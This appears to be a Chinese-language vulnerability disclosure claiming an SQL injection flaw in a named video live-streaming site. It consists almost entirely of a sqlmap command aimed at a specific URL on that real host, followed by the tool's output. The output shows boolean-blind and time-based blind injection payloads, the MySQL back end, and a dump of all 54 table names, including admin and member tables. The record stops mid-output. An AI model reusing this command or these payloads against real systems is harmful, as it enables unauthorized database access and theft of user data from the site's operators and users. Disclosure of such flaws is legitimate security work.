某云视频直播平台存在SQL注入漏洞

python sqlmap.py -u "http://www.jingchang.tv/index.php?s=/Home/Index/new_show/id/21" --tables -D "cloud"

sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
 ---
 Parameter: s (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: s=/Home/Index/new_show/id/21) AND 8951=8951 AND (1886=1886
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: s=/Home/Index/new_show/id/21) AND (SELECT * FROM (SELECT(SLEEP(5)))XNqn) AND (3272=3272
 ---
 back-end DBMS: MySQL 5.0.12
 current database:    'cloud'
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: s (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: s=/Home/Index/new_show/id/21) AND 8951=8951 AND (1886=1886
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: s=/Home/Index/new_show/id/21) AND (SELECT * FROM (SELECT(SLEEP(5)))XNqn) AND (3272=3272
 ---
 back-end DBMS: MySQL >= 5.0.0
 current user:    ''
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: s (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: s=/Home/Index/new_show/id/21) AND 8951=8951 AND (1886=1886
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: s=/Home/Index/new_show/id/21) AND (SELECT * FROM (SELECT(SLEEP(5)))XNqn) AND (3272=3272
 ---
 back-end DBMS: MySQL 5
 Database: cloud
 [54 tables]
 +-----------------------+
 | jck_action            |
 | jck_action_log        |
 | jck_addons            |
 | jck_api_group         |
 | jck_api_record        |
 | jck_apidoc_log        |
 | jck_apidoc_main       |
 | jck_apidoc_params     |
 | jck_apidoc_return     |
 | jck_attachment        |
 | jck_attribute         |
 | jck_auth_extend       |
 | jck_auth_group        |
 | jck_auth_group_access |
 | jck_auth_rule         |
 | jck_camera_category   |
 | jck_camera_channel    |
 | jck_camera_group      |
 | jck_camera_main       |
 | jck_camera_session    |
 | jck_camera_type       |
 | jck_category          |
 | jck_channel           |
 | jck_company_banner    |
 | jck_company_category  |
 | jck_company_document  |
 | jck_company_menu      |
 | jck_config            |
 | jck_device_camera     |
 | jck_device_main       |
 | jck_document          |
 | jck_document_article  |
 | jck_document_download |
 | jck_file              |
 | jck_general_count     |
 | jck_general_nations   |
 | jck_general_provinces |
 | jck_hooks             |
 | jck_menu              |
 | jck_model             |
 | jck_picture           |
 | jck_social_action     |
 | jck_social_discuz     |
 | jck_social_friends    |
 | jck_social_related    |
 | jck_store_auth        |
 | jck_ucenter_admin     |
 | jck_ucenter_app       |
 | jck_ucenter_member    |
 | jck_ucenter_setting   |
 | jck_url               |
 | jck_user_article      |
 | jck_user_main         |
 | jck_userdata          |
 +-----------------------+
 
 sqlmap resumed the following injection point(s) from stored session: